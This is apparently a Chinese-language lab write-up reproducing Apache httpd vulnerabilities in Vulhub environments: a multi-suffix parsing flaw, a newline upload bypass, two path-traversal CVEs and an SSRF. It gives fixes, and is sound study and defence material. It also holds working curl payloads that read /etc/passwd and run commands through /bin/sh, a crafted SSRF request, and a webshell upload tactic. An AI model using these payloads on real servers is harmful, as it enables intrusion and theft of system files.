Vulhub Apache Httpd漏洞复现
前言
Apache Httpd(Hypertext Transfer Protocol daemon)是一个开源的网页服务器软件,它遵循HTTP协议,用于从网络提供超文本文档。
多后缀解析漏洞
漏洞描述
Apache Httpd默认支持一个文件可以有多个以点.
分割的后缀,当右边的后缀名无法识别,则继续向左识别。
多后缀解析漏洞是由于服务器配置不当造成的。如果在配置php文件处理程序时存在问题,给.php
后缀增加了处理器:
AddHandler application/x-httpd-php .php
那么在有多个后缀的情况下,只要一个文件含有.php
后缀的文件就会被识别成php文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。
漏洞复现
复现环境:/vulhub/httpd/apache_parsing_vulnerability
尝试上传php文件,发现上传失败,只有上传图片才能成功。
在php文件扩展名后面加上.jpeg
,.png
,gif
后,均可上传成功。
执行docker exec -it 499b998638bf bash
进入到容器环境,可以看到uploadfiles/目录下被上传的文件。
如果去请求uploadfiles/apache.php.jpeg
这个文件,那么这个文件就会被当作php文件解析执行。
我们可以通过上传文件名为xxx.php.jpg
的一句话木马,利用Apache解析漏洞进行getshell。
修复方案
- 方案一 httpd.conf 加入以下语句,从而禁止文件名格式为
.php.
的访问权限
<FilesMatch ".(php.|php3.|php4.|php5.)">
Order Deny,Allow
Deny from all
</FilesMatch>
- 处理程序只处理以
.php
结尾的文件,注释掉原本的配置命令AddHandler application/x-httpd-php .php
<FilesMatch ".+.php$">
SetHandler application/x-httpd-php
</FilesMatch>
换行解析漏洞(CVE-2017-15715)
漏洞描述
换行解析漏洞的原因是Apache配置文件会用正则表达式中的$
用来匹配字符串结位置,但在设置了对象的Multiline属性的条件下,$
还会匹配到字符串结尾的换行符。也就是说$
会去匹配换行符(Line Feed,LF),\x0A
转义序列代表的是换行符,所以在php文件加上 \x0A
可以进行绕过。
配置文件中设置正则表达式对象的Multiline属性:
<FilesMatch \.php$>
SetHandler application/x-httpd-php
</FilesMatch>
在解析php时,1.php\x0A
将被按照php后缀进行解析。
漏洞复现
复现环境:/vulhub/httpd/CVE-2017-15715
影响版本:2.4.0 - 2.4.29
尝试上传php文件,发现上传失败。
在hex模块将php文件扩展名后面改为0a
,成功绕过,上传成功。
在扩展名后加上\n
也可以成功绕过。
需要注意的是:
在Linux系统中,文本文件通常使用单独的 \x0A(LF)作为行结束符。
在 Windows 系统中,文本文件的行结束符通常是 \x0D\x0A,即回车符(CR)后跟换行符(LF),也就是\r\n。
同样可以通过修改扩展名来上传一句话木马,利用Apache解析漏洞进行getshell。
如果后端在获取文件名是使用$_FILES['file']['name']
,那么会自动把换行去掉,则无法利用。
修复方案
修复方案就很简单了,升级版本,或者在获取文件名时将扩展名后面的换行符等统统去掉。
2.4.49 路径穿越漏洞(CVE-2021-41773)
漏洞描述
这个漏洞是由于在路径规范化中的错误导致的,允许攻击者利用路径穿越攻击映射URL到配置的目录之外的文件。
Apache HTTP Server 2.4.49 版本在对路径参数进行规范化时会先进行URL解码,判断是否存在../
这样的路径穿越符。当检测到路径中存在%
字符时,如果后面紧跟的2个字符是十六进制字符,就会进行URL解码,将其转换成标准字符:%2e
转换为.
,所以就会将.%2e/
和%2e%2e/
转换为../
,但是不会把%2e./
转换。
漏洞复现
复现环境:/vulhub/httpd/CVE-2021-41773
影响版本:2.4.49
使用如下curl命令来发送Payload:
curl -v --path-as-is http://192.168.88.150:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
在服务端开启了cgi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意命令:
curl -v --data "echo;id" 'http://192.168.88.150:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
修复方案
在2.4.50版本中,修复了但又没完全修复,仍然可以绕过,升级到更高版本最好。
2.4.50 路径穿越漏洞(CVE-2021-42013)
漏洞描述
Apache HTTP Server 2.4.50 版本中对 2.4.49 版本中出现的目录穿越漏洞进行了修复,但这个修复是不完整的,算是对补丁的绕过。
2.4.50 版本的修复可以避免一次URL编码导致的路径穿越,但是由于在请求处理过程中,首先会调用ap_normalize_path函数进行一次URL解码,之后会调用ap_unescape_url函数进行二次解码,此时就可以使用URL二次编码的方式绕过。
使用.%%32%65/
进行绕过,经过ap_normalize_path函数处理后.%2e/
,再经过ap_unescape_url函数处理后../
,之后就和 2.4.49 一样的套路。
漏洞复现
复现环境:/vulhub/httpd/CVE-2021-42013
影响版本:2.4.49 和 2.4.50
使用如下curl命令来发送Payload:
curl -v --path-as-is http://192.168.88.150:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
在服务端开启了cgi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意命令:
curl -v --data "echo;id" 'http://192.168.88.150:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
修复方案
修复方案没什么好说的,就升级版本。
SSRF漏洞(CVE-2021-40438)
漏洞描述
在 2.4.48 及以前的版本中,mod_proxy 模块存在一处逻辑错误导致攻击者可以控制反向代理服务器的地址,进而导致SSRF漏洞。
SSRF(服务器端请求伪造)攻击的目标通常是内部系统,这些系统不会直接对外开放,但一些服务器却可以访问它们。就好比这个docker环境中的Apache服务器是以反向代理服务器的身份,运行在客户端和后端服务器(Tomcat)之间,Apache和Tomcat通过AJP协议进行通信。
漏洞复现
发送如下数据包Payload(记得修改Host):
GET /?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://example.com/ HTTP/1.1
Host: 192.168.88.150:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
成功请求到 http://example.com
的页面并返回:
修复方案
升级到最新版本。
若有错误,欢迎指正!o( ̄▽ ̄)ブ